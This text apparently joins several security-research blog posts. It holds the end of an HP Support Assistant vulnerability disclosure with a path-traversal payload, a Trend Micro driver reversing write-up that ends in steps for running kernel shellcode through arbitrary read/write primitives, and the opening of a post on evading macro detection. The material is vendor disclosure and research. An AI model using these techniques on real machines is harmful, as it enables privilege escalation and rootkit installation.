  4. Local Privilege Escalation #4 – "Patched" 😕 (not really)
  5. Local Privilege Escalation #5 – Unpatched ❌
  6. Arbitrary File Deletion #1 – Patched ✔️
  7. Arbitrary File Deletion #2 – Patched ✔️
  8. Remote Code Execution Variant #1 – Patched ✔️
  9. Remote Code Execution Variant #2 – Patched ✔️
  10. Remote Code Execution Variant #3 – Patched ✔️

Re-Discovery

New Patch, New Vulnerability

The largest change observed is the transition from the hardcoded "C:\Windows\TEMP" temporary directory to relying on the action item base supplied by the client to specify the temporary directory.

I am not sure if HP PSIRT did not review the patch or if HP has a lack of code review in general, but this transition actually introduced a new vulnerability. Now, instead of having a trusted hardcoded string be the deciding factor for the temporary directory… HP relies on untrusted client data (the action item base).

As an attacker, my unprivileged process is what decides the value of the temporary directory used by the elevated agent, not the privileged service process, allowing for simple spoofing. This was one of the more shocking components of the patch. HP had not only left some vulnerabilities unpatched but in doing so ended up making some code worse than it was. This change mostly impacted the Local Privilege Escalation vulnerabilities.

Local Privilege Escalation #2

Looking over the new InstallSoftpaqsSilently method, the primary changes are:

  1. The untrusted ActionItemBase specifies the temporary directory.
  2. There is more insecure path concatenation (path1 + path2 versus C#’s Path.Combine).
  3. There is more verification on the path specified by the temporary directory and executable name (i.e checking for relative path escapes, NTFS reparse points, rooted path, etc).

The core problems that are persistent even after patching:

  1. The path that is executed by the method still utilizes unvalidated untrusted client input. Specifically, the method splits the item property SilentInstallString by double quote and utilizes values from that array for the name of the binary. This binary name is not validated besides a simple check to see if the file exists. No guarantees it isn’t an attacker’s binary.
  2. There is continued use of insecure coding practices involving paths. For example, HP consistently concatenates paths by using the string combination operator versus using a secure concatenation method such as Path.Combine.

In order to have a successful call to InstallSoftpaqsSilently, you must now meet these requirements:

  1. The file specified by the TempDirectory property + ExecutableName property must exist.
  2. The file specified by TempDirectory property + ExecutableName property must be signed by HP.
  3. The path specified by TempDirectory property + ExecutableName property must pass the VerifyHPPath requirements:
    a. The path cannot contain relative path escapes.
    b. The path must be a rooted path.
    c. The path must not be a junction point.
    d. The path must start with HP path.
  4. The SilentInstallString property must contain the SPName property + .exe.
  5. The directory name is the TempDirectory property + swsetup\ + the ExecutableName property with .exe stripped.
  6. The Executable Name is specified in the SilentInstallString property split by double quote. If the split has a size greater than 1, it will take the second element as EXE Name, else the first element.
  7. The Executable Name must not contain .exe or .msi, otherwise, the Directory Name + \ + the Executable Name must exist.
  8. The function executes the binary specified at Directory Name + \ + Executable Name.

The core point of attack is outlined in step 6 and 7. We can control the Executable Name by formulating a malicious payload for the SilentInstallString item property that escapes a legitimate directory passed in the TempDirectory property into an attacker controlled directory.

For example, if we pass:

  1. C:\Program Files (x86)\Hewlett-Packard\HP Support Framework\ for the TempDirectory property.
  2. HPSF.exe for the the ExecutableName property.
  3. malware for the SPName property.
  4. "..\..\..\..\..\Malware\malware.exe (quote at beginning intentional) for the SilentInstallString property.

The service will execute the binary at C:\Program Files (x86)\Hewlett-Packard\HP Support Framework\swsetup\HPSF\..\..\..\..\..\Malware\malware.exe which ends up resolving to C:\Malware\malware.exe thus executing the attacker controlled binary as SYSTEM.

Local Privilege Escalation #3

The primary changes for the new InstallSoftpaqsDirectly method are:

  1. The untrusted ActionItemBase specifies the temporary directory.
  2. Invalid binaries are no longer deleted.

The only thing we need to change in our proof of concept is to provide our own TempDirectory path. That’s… it.

Local Privilege Escalation #4

For the new DownloadSoftpaq method, the primary changes are:

  1. The download URL cannot have query parameters.

The core problems that are persistent even after patching:

  1. Insecure validation of the download URL.
  2. Insecure validation of the downloaded binary.
  3. Open Redirect bug on ers.rssx.hp.com.

First of all, HP still only does a basic check on the hostname to ensure it ends with a whitelisted host, however, this does not address the core issue that this check in itself is insecure.

Simply checking hostname exposes attacks from Man-in-the-Middle attacks, other Open Redirect vulnerabilities, and virtual host based attacks (i.e a subdomain that redirects to 127.0.0.1).

For an unknown reason, HP still does not delete the binary downloaded if it does not have an HP signature because HP passes the constant false for the parameter that indicates whether or not to delete a bad binary.

At the end of the day, this is still a patched vulnerability since at this time you can’t quite exploit it, but I wouldn’t be surprised to see this exploited in the future.

Local Privilege Escalation #5

This vulnerability was completed untouched. Not much more to say about it.

Timeline

Here is a timeline of HP's response:

10/05/2019 - Initial report of vulnerabilities sent to HP.
10/08/2019 - HP PSIRT acknowledges receipt and creates a case.
12/19/2019 - HP PSIRT pushes an update and claims to have "resolved the issues reported".
01/01/2020 - Updated report of unpatched vulnerabilities sent to HP.
01/06/2020 - HP PSIRT acknowledges receipt.
02/05/2020 - HP PSIRT schedules a new patch for the first week of March.
03/09/2020 - HP PSIRT pushes the scheduled patch to 03/21/2020 due to Novel Coronavirus complications.

Protecting your machine

If you're wondering what you need to do to ensure your HP machine is safe from these vulnerabilities, it is critical to ensure that it is up to date or removed. By default, HP Support Assistant does not have automatic updating by default unless you explicitly opt-in (HP claims otherwise).

It is important to note that because HP has not patched three local privilege escalation vulnerabilities, even if you have the latest version of the software, you are still vulnerable unless you completely remove the agent from your machine (Option 1).

Option 1: Uninstall

The best mitigation to protect against the attacks described in this article and future vulnerabilities is to remove the software entirely. This may not be an option for everyone, especially if you rely on the updating functionality the software provides, however, removing the software ensures that you're safe from any other vulnerabilities that may exist in the application.

For most Windows installations, you can use the "Add or remove programs" component of the Windows control panel to uninstall the service. There are two pieces of software to uninstall, one is called "HP Support Assistant" and the other is called "HP Support Solutions Framework".

Option 2: Update

The next best option is to update the agent to the latest version. The latest update fixes several vulnerabilities discussed except for three local privilege escalation vulnerabilities.

There are two ways to update the application, the recommended method is by opening "HP Support Assistant" from the Start menu, click "About" in the top right, and pressing "Check for latest version". Another method of updating is to install the latest version from HP's website here.

How to use Trend Micro's Rootkit Remover to Install a Rootkit

18 May 2020 at 15:32
How to use Trend Micro's Rootkit Remover to Install a Rootkit

The opinions expressed in this publication are those of the authors. They do not reflect the opinions or views of my employer. All research was conducted independently.

For a recent project, I had to do research into methods rootkits are detected and the most effective measures to catch them when I asked the question, what are some existing solutions to rootkits and how do they function? My search eventually landed me on the TrendMicro RootkitBuster which describes itself as "A free tool that scans hidden files, registry entries, processes, drivers, and the master boot record (MBR) to identify and remove rootkits".

The features it boasted certainly caught my attention. They were claiming to detect several techniques rootkits use to burrow themselves into a machine, but how does it work under the hood and can we abuse it? I decided to find out by reverse engineering core components of the application itself, leading me down a rabbit hole of code that scarred me permanently, to say the least.

Discovery

Starting the adventure, launching the application resulted in a fancy warning by Process Hacker that a new driver had been installed.

How to use Trend Micro's Rootkit Remover to Install a Rootkit

Already off to a good start, we got a copy of Trend Micro's "common driver", this was definitely something to look into. Besides this driver being installed, this friendly window opened prompting me to accept Trend Micro's user agreement.

How to use Trend Micro's Rootkit Remover to Install a Rootkit

I wasn't in the mood to sign away my soul to the devil just yet, especially since the terms included a clause stating "You agree not to attempt to reverse engineer, decompile, modify, translate, disassemble, discover the source code of, or create derivative works from...".

Thankfully, Trend Micro already deployed their software on to my machine before I accepted any terms. Funnily enough, when I tried to exit the process by right-clicking on the application and pressing "Close Window", it completely evaded the license agreement and went to the main screen of the scanner, even though I had selected the "I do not accept the terms of the license agreement" option. Thanks Trend Micro!

How to use Trend Micro's Rootkit Remover to Install a Rootkit

I noticed a quick command prompt flash when I started the application. It turns out this was the result of a 7-Zip Self Extracting binary which extracted the rest of the application components to %TEMP%\RootkitBuster.

How to use Trend Micro's Rootkit Remover to Install a Rootkit

Let's review the driver we'll be covering in this article.

  • The tmcomm driver which was labeled as the "TrendMicro Common Module" and "Trend Micro Eyes". A quick overlook of the driver indicated that it accepted communication from privileged user-mode applications and performed common actions that are not specific to the Rootkit Remover itself. This driver is not only used in the Rootkit Buster and is implemented throughout Trend Micro's product line.

In the following sections, we'll be deep diving into the tmcomm driver . We'll focus our research into finding different ways to abuse the driver's functionality, with the end goal being able to execute kernel code. I decided not to look into the tmrkb.sys because although I am sure it is vulnerable, it seems to only be used for the Rootkit Buster.

TrendMicro Common Module (tmcomm.sys)

Let's begin our adventure with the base driver that appears to be used not only for this Rootkit Remover utility, but several other Trend Micro products as well. As I stated in the previous section, a very brief look-over of the driver revealed that it does allow for communication from privileged user-mode applications.

How to use Trend Micro's Rootkit Remover to Install a Rootkit

One of the first actions the driver takes is to create a device to accept IOCTL communication from user-mode. The driver creates a device at the path \Device\TmComm and a symbolic link to the device at \DosDevices\TmComm (accessible via \\.\Global\TmComm). The driver entrypoint initializes a significant amount of classes and structure used throughout the driver, however, for our purposes, it is not necessary to cover each one.

I was happy to see that Trend Micro made the correct decision of restricting their device to the SYSTEM user and Administrators. This meant that even if we did find exploitable code, because any communication would require at least Administrative privileges, a significant amount of the industry would not consider it a vulnerability. For example, Microsoft themselves do not consider Administrator to Kernel to be a security boundary because of the significant amount of access they get. This does not mean however exploitable code in Trend Micro's drivers won't be useful.

How to use Trend Micro's Rootkit Remover to Install a Rootkit

TrueApi

A large component of the driver is its "TrueApi" class which is instantiated during the driver's entrypoint. The class contains pointers to imported functions that get used throughout the driver. Here is a reversed structure:

struct TrueApi
{
	BYTE Initialized;
	PVOID ZwQuerySystemInformation;
	PVOID ZwCreateFile;
	PVOID unk1; // Initialized as NULL.
	PVOID ZwQueryDirectoryFile;
	PVOID ZwClose;
	PVOID ZwOpenDirectoryObjectWrapper;
	PVOID ZwQueryDirectoryObject;
	PVOID ZwDuplicateObject;
	PVOID unk2; // Initialized as NULL.
	PVOID ZwOpenKey;
	PVOID ZwEnumerateKey;
	PVOID ZwEnumerateValueKey;
	PVOID ZwCreateKey;
	PVOID ZwQueryValueKey;
	PVOID ZwQueryKey;
	PVOID ZwDeleteKey;
	PVOID ZwTerminateProcess;
	PVOID ZwOpenProcess;
	PVOID ZwSetValueKey;
	PVOID ZwDeleteValueKey;
	PVOID ZwCreateSection;
	PVOID ZwQueryInformationFile;
	PVOID ZwSetInformationFile;
	PVOID ZwMapViewOfSection;
	PVOID ZwUnmapViewOfSection;
	PVOID ZwReadFile;
	PVOID ZwWriteFile;
	PVOID ZwQuerySecurityObject;
	PVOID unk3; // Initialized as NULL.
	PVOID unk4; // Initialized as NULL.
	PVOID ZwSetSecurityObject;
};

Looking at the code, the TrueApi is primarily used as an alternative to calling the functions directly. My educated guess is that Trend Micro is caching these imported functions at initialization to evade delayed IAT hooks. Since the TrueApi is resolved by looking at the import table however, if there is a rootkit that hooks the IAT on driver load, this mechanism is useless.

XrayApi

Similar to the TrueApi, the XrayApi is another major class in the driver. This class is used to access several low-level devices and to interact directly with the filesystem. A major component of the XrayConfig is its "config". Here is a partially reverse-engineered structure representing the config data:

struct XrayConfigData
{
	WORD Size;
	CHAR pad1[2];
	DWORD SystemBuildNumber;
	DWORD UnkOffset1;
	DWORD UnkOffset2;
	DWORD UnkOffset3;
	CHAR pad2[4];
	PVOID NotificationEntryIdentifier;
	PVOID NtoskrnlBase;
	PVOID IopRootDeviceNode;
	PVOID PpDevNodeLockTree;
	PVOID ExInitializeNPagedLookasideListInternal;
	PVOID ExDeleteNPagedLookasideList;
	CHAR unkpad3[16];
	PVOID KeAcquireInStackQueuedSpinLockAtDpcLevel;
	PVOID KeReleaseInStackQueuedSpinLockFromDpcLevel;
	...
};

The config data stores the location of internal/undocumented variables in the Windows Kernel such as the IopRootDeviceNode, PpDevNodeLockTree, ExInitializeNPagedLookasideListInternal, and ExDeleteNPagedLookasideList.  My educated guess for the purpose of this class is to access low-level devices directly rather than use documented methods which could be hijacked.

IOCTL Requests

Before we get into what the driver allows us to do, we need to understand how IOCTL requests are handled.

In the primary dispatch function, the Trend Micro driver converts the data alongside a IRP_MJ_DEVICE_CONTROL request to a proprietary structure I call a TmIoctlRequest.

struct TmIoctlRequest
{
	DWORD InputSize;
	DWORD OutputSize;
	PVOID UserInputBuffer;
	PVOID UserOutputBuffer;
	PVOID Unused;
	DWORD_PTR* BytesWritten;
};

The way Trend Micro organized dispatching of IOCTL requests is by having several "dispatch tables". The "base dispatch table" simply contains an IOCTL Code and a corresponding "sub dispatch function". For example, when you send an IOCTL request with the code 0xDEADBEEF, it will compare each entry of this base dispatch table and pass along the data if there is a table entry that has the matching code. A base table entry can be represented by the structure below:

typedef NTSTATUS (__fastcall *DispatchFunction_t)(TmIoctlRequest *IoctlRequest);

struct BaseDispatchTableEntry
{
	DWORD_PTR IOCode;
	DispatchFunction_t DispatchFunction;
};

After the DispatchFunction is called, it typically verifies some of the data provided ranging from basic nullptr checks to checking the size of the input and out buffers. These "sub dispatch functions" then do another lookup based on a code passed in the user input buffer to find the corresponding "sub table entry". A sub table entry can be represented by the structure below:

typedef NTSTATUS (__fastcall *OperationFunction_t)(PVOID InputBuffer, PVOID OutputBuffer);

struct SubDispatchTableEntry
{
	DWORD64 OperationCode;
	OperationFunction_t PrimaryRoutine;
	OperationFunction_t ValidatorRoutine;
};

Before calling the PrimaryRoutine, which actually performs the requested action, the sub dispatch function calls the ValidatorRoutine. This routine does "action-specific" validation on the input buffer, meaning that it performs checks on the data the PrimaryRoutine will be using. Only if the ValidatorRoutine returns successfully will the PrimaryRoutine be called.

Now that we have a basic understanding of how IOCTL requests are handled, let's explore what they allow us to do. Referring back to the definition of the "base dispatch table", which stores "sub dispatch functions", let's explore each base table entry and figure out what each sub dispatch table allows us to do!

IoControlCode == 9000402Bh

Discovery

This first dispatch table appears to interact with the filesystem, but what does that actually mean? To start things off, the code for the "sub dispatch table" entry is obtained by dereferencing a DWORD from the start of the input buffer. This means that to specify which sub dispatch entry you'd like to execute, you simply need to set a DWORD at the base of the input buffer to correspond with that entries' **OperationCode**.

To make our lives easier, Trend Micro conveniently included a significant amount of debugging strings, often giving an idea of what a function does. Here is a table of the functions I reversed in this sub dispatch table and what they allow us to do.

OperationCode PrimaryRoutine Description
2713h IoControlCreateFile Calls NtCreateFile, all parameters are controlled by the request.
2711h IoControlFindNextFile Returns STATUS_NOT_SUPPORTED.
2710h IoControlFindFirstFile Performs nothing, returns STATUS_SUCCESS always.
2712h IoControlFindCloseFile Calls ZwClose, all parameters are controlled by the request.
2715h IoControlReadFileIRPNoCache References a FileObject using HANDLE from request. Calls IofCallDriver and reads result.
2714h IoControlCreateFileIRP Creates a new FileObject and associates DeviceObject for requested drive.
2716h IoControlDeleteFileIRP Deletes a file by sending an IRP_MJ_SET_INFORMATION request.
2717h IoControlGetFileSizeIRP Queries a file's size by sending an IRP_MJ_QUERY_INFORMATION request.
2718h IoControlSetFilePosIRP Set's a file's position by sending an IRP_MJ_SET_INFORMATION request.
2719h IoControlFindFirstFileIRP Returns STATUS_NOT_SUPPORTED.
271Ah IoControlFindNextFileIRP Returns STATUS_NOT_SUPPORTED.
2720h IoControlQueryFile Calls NtQueryInformationFile, all parameters are controlled by the request.
2721h IoControlSetInformationFile Calls NtSetInformationFile, all parameters are controlled by the request.
2722h IoControlCreateFileOplock Creates an Oplock via IoCreateFileEx and other filesystem API.
2723h IoControlGetFileSecurity Calls NtCreateFile and then ZwQuerySecurityObject. All parameters are controlled by the request.
2724h IoControlSetFileSecurity Calls NtCreateFile and then ZwSetSecurityObject. All parameters are controlled by the request.
2725h IoControlQueryExclusiveHandle Check if a file is opened exclusively.
2726h IoControlCloseExclusiveHandle Forcefully close a file handle.

IoControlCode == 90004027h

Discovery

This dispatch table is primarily used to control the driver's process scanning features. Many functions in this sub dispatch table use a separate scanning thread to synchronously search for processes via various methods both documented and undocumented.

OperationCode PrimaryRoutine Description
C350h GetProcessesAllMethods Find processes via ZwQuerySystemInformation and WorkingSetExpansionLinks.
C351h DeleteTaskResults* Delete results obtained through other functions like GetProcessesAllMethods.
C358h GetTaskBasicResults* Further parse results obtained through other functions like GetProcessesAllMethods.
C35Dh GetTaskFullResults* Completely parse results obtained through other functions like GetProcessesAllMethods.
C360h IsSupportedSystem Returns TRUE if the system is "supported" (whether or not they have hardcoded offsets for your build).
C361h TryToStopTmComm Attempt to stop the driver.
C362h GetProcessesViaMethod Find processes via a specified method.
C371h CheckDeviceStackIntegrity Check for tampering on devices associated with physical drives.
C375h ShouldRequireOplock Returns TRUE if oplocks should be used for certain scans.

These IOCTLs revolve around a few structures I call "MicroTask" and "MicroScan". Here are the structures reverse-engineered:

struct MicroTaskVtable
{
	PVOID Constructor;
	PVOID NewNode;
	PVOID DeleteNode;
	PVOID Insert;
	PVOID InsertAfter;
	PVOID InsertBefore;
	PVOID First;
	PVOID Next;
	PVOID Remove;
	PVOID RemoveHead;
	PVOID RemoveTail;
	PVOID unk2;
	PVOID IsEmpty;
};

struct MicroTask
{
	MicroTaskVtable* vtable;
	PVOID self1; // ptr to itself.
	PVOID self2; // ptr to itself.
	DWORD_PTR unk1;
	PVOID MemoryAllocator;
	PVOID CurrentListItem;
	PVOID PreviousListItem;
	DWORD ListSize;
	DWORD unk4; // Initialized as NULL.
	char ListName[50];
};

struct MicroScanVtable
{
	PVOID Constructor;
	PVOID GetTask;
};

struct MicroScan
{
	MicroScanVtable* vtable;
	DWORD Tag; // Always 'PANS'.
	char pad1[4];
	DWORD64 TasksSize;
	MicroTask Tasks[4];
};

For most of the IOCTLs in this sub dispatch table, a MicroScan is passed in by the client which the driver populates. We'll look into how we can abuse this trust in the next section.

Exploitation

When I was initially reverse engineering the functions in this sub dispatch table, I was quite confused because the code "didn't seem right". It appeared like the MicroScan kernel pointer returned by functions such as GetProcessesAllMethods was being directly passed onto other functions such as DeleteTaskResults by the client. These functions would then take this untrusted kernel pointer and with almost no validation call functions in the virtual function table specified at the base of the class.

How to use Trend Micro's Rootkit Remover to Install a Rootkit

Taking a look at the "validation routine" for the DeleteTaskResults sub dispatch table entry, the only validation performed on the MicroScan instance specified at the input buffer + 0x10 was making sure it was a valid kernel address.

How to use Trend Micro's Rootkit Remover to Install a Rootkit
How to use Trend Micro's Rootkit Remover to Install a Rootkit
How to use Trend Micro's Rootkit Remover to Install a Rootkit

The only other check besides making sure that the supplied pointer was in kernel memory was a simple check in DeleteTaskResults to make sure the Tag member of the MicroScan is PANS.

How to use Trend Micro's Rootkit Remover to Install a Rootkit

Since DeleteTaskResults calls the constructor specified in the virtual function table of the MicroScan instance, to call an arbitrary kernel function we need to:

  1. Be able to allocate at least 10 bytes of kernel memory (for vtable and tag).
  2. Control the allocated kernel memory to set the virtual function table pointer and the tag.
  3. Be able to determine the address of this kernel memory from user-mode.

Fortunately a mentor of mine, Alex Ionescu, was able to point me in the right direction when it comes to allocating and controlling kernel memory from user-mode. A HackInTheBox Magazine from 2010 had an article by Matthew Jurczyk called "Reserve Objects in Windows 7". This article discussed using APC Reserve Objects, which was introduced in Windows 7, to allocate controllable kernel memory from user-mode. The general idea is that you can queue an Apc to an Apc Reserve Object with the ApcRoutine and ApcArgumentX members being the data you want in kernel memory and then use NtQuerySystemInformation to find the Apc Reserve Object in kernel memory. This reserve object will have the previously specified KAPC variables in a row, allowing a user-mode application to control up to 32 bytes of kernel memory (on 64-bit) and know the location of the kernel memory. I would strongly suggest reading the article if you'd like to learn more.

This trick still works in Windows 10, meaning we're able to meet all three requirements. By using an Apc Reserve Object, we can allocate at least 10 bytes for the MicroScan structure and bypass the inadequate checks completely. The result? The ability to call arbitrary kernel pointers:

How to use Trend Micro's Rootkit Remover to Install a Rootkit

Although I provided a specific example of vulnerable code in DeleteTaskResults, any of the functions I marked in the table with asterisks are vulnerable. They all trust the kernel pointer specified by the untrusted client and end up calling a function in the MicroScan instance's virtual function table.

IoControlCode == 90004033h

Discovery

This next sub dispatch table primarily manages the TrueApi class we reviewed before.

OperationCode PrimaryRoutine Description
EA60h IoControlGetTrueAPIPointer Retrieve pointers of functions in the TrueApi class.
EA61h IoControlGetUtilityAPIPointer Retrieve pointers of utility functions of the driver.
EA62h IoControlRegisterUnloadNotify* Register a function to be called on unload.
EA63h IoControlUnRegisterUnloadNotify Unload a previously registered unload function.

Exploitation

IoControlRegisterUnloadNotify

This function caught my eye the moment I saw its name in a debug string. Using this sub dispatch table function, an untrusted client can register up to 16 arbitrary "unload routines" that get called when the driver unloads. This function's validator routine checks this pointer from the untrusted client buffer for validity. If the caller is from user-mode, the validator calls ProbeForRead on the untrusted pointer. If the caller is from kernel-mode, the validator checks that it is a valid kernel memory address.

This function cannot immediately be used in an exploit from user-mode. The problem is that if we're a user-mode caller, we must provide a user-mode pointer, because the validator routine uses ProbeForRead. When the driver unloads, this user-mode pointer gets called, but it won't do much because of mitigations such as SMEP. I'll reference this function in a later section, but it is genuinely scary to see an untrusted user-mode client being able to direct a driver to call an arbitrary pointer by design.

IoControlCode == 900040DFh

This sub dispatch table is used to interact with the XrayApi. Although the Xray Api is generally used by scans implemented in the kernel, this sub dispatch table provides limited access for the client to interact with physical drives.

OperationCode PrimaryRoutine Description
15F90h IoControlReadFile Read a file directly from a disk.
15F91h IoControlUpdateCoreList Update the kernel pointers used by the Xray Api.
15F92h IoControlGetDRxMapTable Get a table of drives mapped to their corresponding devices.

IoControlCode == 900040E7h

Discovery

The final sub dispatch is used to scan for hooks in a variety of system structures. It was interesting to see the variety of hooks Trend Micro checks for including hooks in object types, major function tables, and even function inline hooks.

OperationCode PrimaryRoutine Description
186A0h TMXMSCheckSystemRoutine Check a few system routines for hooks.
186A1h TMXMSCheckSystemFileIO Check file IO major functions for hooks.
186A2h TMXMSCheckSpecialSystemHooking Check the file object type and ntoskrnl Io functions for hooks.
186A3h TMXMSCheckGeneralSystemHooking Check the Io manager for hooks.
186A4h TMXMSCheckSystemObjectByName Recursively trace a system object (either a directory or symlink).
186A5h TMXMSCheckSystemObjectByName2* Copy a system object into user-mode memory.

Exploitation

Yeah, TMXMSCheckSystemObjectByName2 is as bad as it sounds. Before looking at the function directly, here's a few reverse engineered structures used later:

struct CheckSystemObjectParams
{
    PVOID Src;
    PVOID Dst;
    DWORD Size;
    DWORD* OutSize;
};

struct TXMSParams
{
    DWORD OutStatus;
    DWORD HandlerID;
    CHAR unk[0x38];
    CheckSystemObjectParams* CheckParams;
};

TMXMSCheckSystemObjectByName2 takes in a Source pointer, Destination pointer, and a Size in bytes. The validator function called for TMXMSCheckSystemObjectByName2 checks the following:

  • ProbeForRead on the CheckParams member of the TXMSParams structure.
  • ProbeForRead and ProbeForWrite on the Dst member of the CheckSystemObjectParams structure.

Essentially, this means that we need to pass a valid CheckParams structure and the Dst pointer we pass is in user-mode memory. Now let's look at the function itself:

How to use Trend Micro's Rootkit Remover to Install a Rootkit

Although that for loop may seem scary, all it is doing is an optimized method of checking a range of kernel memory. For every memory page in the range Src to Src + Size, the function calls MmIsAddressValid. The real scary part is the following operations:

How to use Trend Micro's Rootkit Remover to Install a Rootkit

These lines take an untrusted Src pointer and copies Size bytes to the untrusted Dst pointer... yikes. We can use the memmove operations to read an arbitrary kernel pointer, but what about writing to an arbitrary kernel pointer? The problem is that the validator for TMXMSCheckSystemObjectByName2 requires that the destination is user-mode memory. Fortunately, there is another bug in the code.

The next *params->OutSize = Size; line takes the Size member from our structure and places it at the pointer specified by the untrusted OutSize member. No verification is done on what OutSize points to, thus we can write up to a DWORD each IOCTL call. One caveat is that the Src pointer would need to point to valid kernel memory for up to Size bytes. To meet this requirement, I just passed the base of the ntoskrnl module as the source.

Using this arbitrary write primitive, we can use the previously found unload routines trick to execute code. Although the validator routine prevents us from passing in a kernel pointer if we're calling from user-mode, we don't actually need to go through the validator. Instead, we can write to the unload routine array inside of the driver's .data section using our write primitive and place the pointer we want.

Really, really bad code

Typically, I like sticking to strictly security in my blog posts, but this driver made me break that tradition. In this section, we won't be covering the security issues of the driver, rather the terrible code that's used by millions of Trend Micro customers around the world.

Bruteforcing Processes

How to use Trend Micro's Rootkit Remover to Install a Rootkit

Let's take a look at what's happening here. This function has a for loop from 0 to 0x10000, incrementing by 4, and retrieves the object of the process behind the current index (if there is one). If the index does match a process, the function checks if the name of the process is csrss.exe. If the process is named csrss.exe, the final check is that the session ID of the process is 0. Come on guys, there is literally documented API to enumerate processes from kernel... what's the point of bruteforcing?

Bruteforcing Offsets

EPROCESS ImageFileName Offset

How to use Trend Micro's Rootkit Remover to Install a Rootkit

When I first saw this code, I wasn't sure what I was looking at. The function takes the current process, which happens to be the System process since this is called in a System thread, then it searches for the string "System" in the first 0x1000 bytes. What's happening is... Trend Micro is bruteforcing the ImageFileName member of the EPROCESS structure by looking for the known name of the System process inside of its EPROCESS structure. If you wanted the ImageFileName of a process, just use ZwQueryInformationProcess with the ProcessImageFileName class...

EPROCESS Peb Offset

How to use Trend Micro's Rootkit Remover to Install a Rootkit

In this function, Trend Micro uses the PID of the csrss process to brute force the Peb member of the EPROCESS structure. The function retrieves the EPROCESS object of the csrss process by using PsLookupProcessByProcessId and it retrieves the PebBaseAddress by using ZwQueryInformationProcess. Using those pointers, it tries every offset from 0 to 0x2000 that matches the known Peb pointer. What's the point of finding the offset of the Peb member when you can just use ZwQueryInformationProcess, as you already do...

ETHREAD StartAddress Offset

How to use Trend Micro's Rootkit Remover to Install a Rootkit

Here Trend Micro uses the current system thread with a known start address to brute force the StartAddress member of the ETHREAD structure. Another case where finding the raw offset is unnecessary. There is a semi-documented class of ZwQueryInformationThread called ThreadQuerySetWin32StartAddress which gives you the start address of a thread.

Unoptimized Garbage

How to use Trend Micro's Rootkit Remover to Install a Rootkit

When I initially decompiled this function, I thought IDA Pro might be simplifying a memset operation, because all this function was doing was setting all of the TrueApi structure members to zero. I decided to take a peek at the assembly to confirm I wasn't missing something...

How to use Trend Micro's Rootkit Remover to Install a Rootkit

Yikes... looks like someone turned off optimizations.

Cheating Microsoft's WHQL Certification

So far we've covered methods to read and write arbitrary kernel memory, but there is one step missing to install our own rootkit. Although you could execute kernel shellcode with just a read/write primitive, I generally like finding the path of least resistance. Since this is a third-party driver, chances are, there is some NonPagedPool memory allocated which we can use to host and execute our malicious shellcode.

Let's take a look at how Trend Micro allocates memory. Early in the entrypoint of the driver, Trend Micro checks if the machine is a "supported system" by checking the major version, minor version, and the build number of the operating system. Trend Micro does this because they hardcode several offsets which can change between builds.

Fortunately, the PoolType global variable which is used to allocate non-paged memory is set to 0 (NonPagedPool) by default. I noticed that although this value was 0 initially, the variable was still in the .data section, meaning it could be changed. When I looked at what wrote to the variable, I saw that the same function responsible for checking the operating system's version also set this PoolType variable in certain cases.

How to use Trend Micro's Rootkit Remover to Install a Rootkit

From a brief glance, it looked like if our operating system is Windows 10 or a newer version, the driver prefers to use NonPagedPoolNx. Good from a security standpoint, but bad for us. This is used for all non-paged allocations, meaning we would have to find a spare ExAllocatePoolWithTag that had a hardcoded NonPagedPool argument otherwise we couldn't use the driver's allocated memory on Windows 10. But, it's not that straightforward. What about MysteriousCheck(), the second requirement for this if statement?

How to use Trend Micro's Rootkit Remover to Install a Rootkit

What MysteriousCheck() was doing was checking if Microsoft's Driver Verifier was enabled... Instead of just using NonPagedPoolNx on Windows 8 or higher, Trend Micro placed an explicit check to only use secure memory allocations if they're being watched. Why is this not just an example of bad code? Trend Micro's driver is WHQL certified:

How to use Trend Micro's Rootkit Remover to Install a Rootkit

Passing Driver Verifier has been a long-time requirement of obtaining WHQL certification. On Windows 10, Driver Verifier enforces that drivers do not allocate executable memory. Instead of complying with this requirement designed to secure Windows users, Trend Micro decided to ignore their user's security and designed their driver to cheat any testing or debugging environment which would catch such violations.

Honestly, I'm dumbfounded. I don't understand why Trend Micro would go out of their way to cheat in these tests. Trend Micro could have just left the Windows 10 check, why would you even bother creating an explicit check for Driver Verifier? The only working theory I have is that for some reason most of their driver is not compatible with NonPagedPoolNx and that only their entrypoint is compatible, otherwise there really isn't a point.

Delivering on my promise

As I promised, you can use Trend Micro's driver to install your own rootkit. Here is what you need to do:

  1. Find any NonPagedPool allocation by the driver. As long as you don't have Driver Verifier running, you can use any of the non-paged allocations that have their pointers stored in the .data section. Preferably, pick an allocation that isn't used often.
  2. Write your kernel shellcode anywhere in the memory allocation using the arbitrary kernel write primitive in TMXMSCheckSystemObjectByName2.
  3. Execute your shellcode by registering an unload routine (directly in .data) or using the several other execution methods present in the 90004027h dispatch table.

It's really as simple as that.

Conclusion

I reverse a lot of drivers and you do typically see some pretty dumb stuff, but I was shocked at many of the findings in this article coming from a company such as Trend Micro. Most of the driver feels like proof-of-concept garbage that is held together by duct tape.

Although Trend Micro has taken basic precautionary measures such as restricting who can talk to their driver, a significant amount of the code inside of the IOCTL handlers includes very risky DKOM. Also, I'm not sure how certain practices such as bruteforcing anything would get through adequate code review processes. For example, the Bruteforcing Processes code doesn't make sense, are Trend Micro developers not aware of enumerating processes via ZwQuerySystemInformation? What about disabling optimizations? Anti-virus already gets flak for slowing down client machines, why would you intentionally make your driver slower? To add insult to injury, this driver is used in several Trend Micro products, not just their rootkit remover. All I know going forward is that I won't be a Trend Micro customer anytime soon.

Defeating Macro Document Static Analysis with Pictures of My Cat

16 September 2020 at 11:33
Defeating Macro Document Static Analysis with Pictures of My Cat

Over the past few weeks I've spent some time learning Visual Basic for Applications (VBA), specifically for creating malicious Word documents to act as an initial stager. When taking operational security into consideration and brainstorming ways of evading macro detection, I had the question, how does anti-virus detect a malicious macro?

The hypothesis I came up with was that anti-virus would parse out macro content from the word document and scan the macro code for a variety of malicious techniques, nothing crazy. A common pattern I've seen attackers counter this sort-of detection is through the use of macro obfuscation, which is effectively scrambling macro content in an attempt to evade the malicious patterns anti-virus looks for.

The questions I wanted answered were:

  1. How does anti-virus even retrieve the macro content?
  2. What differences are there for the retrieval of macro content between the implementation in Microsoft Word and anti-virus?

Discovery

According to Wikipedia,Open Office XML (OOX) "is a zipped, XML-based file format developed by Microsoft for representing spreadsheets, charts, presentations and word processing documents". This is the file format used for the common Microsoft Word extensions docx and docm. The fact that Microsoft Office documents were essentially a zip file of XML files certainly piqued my interest.

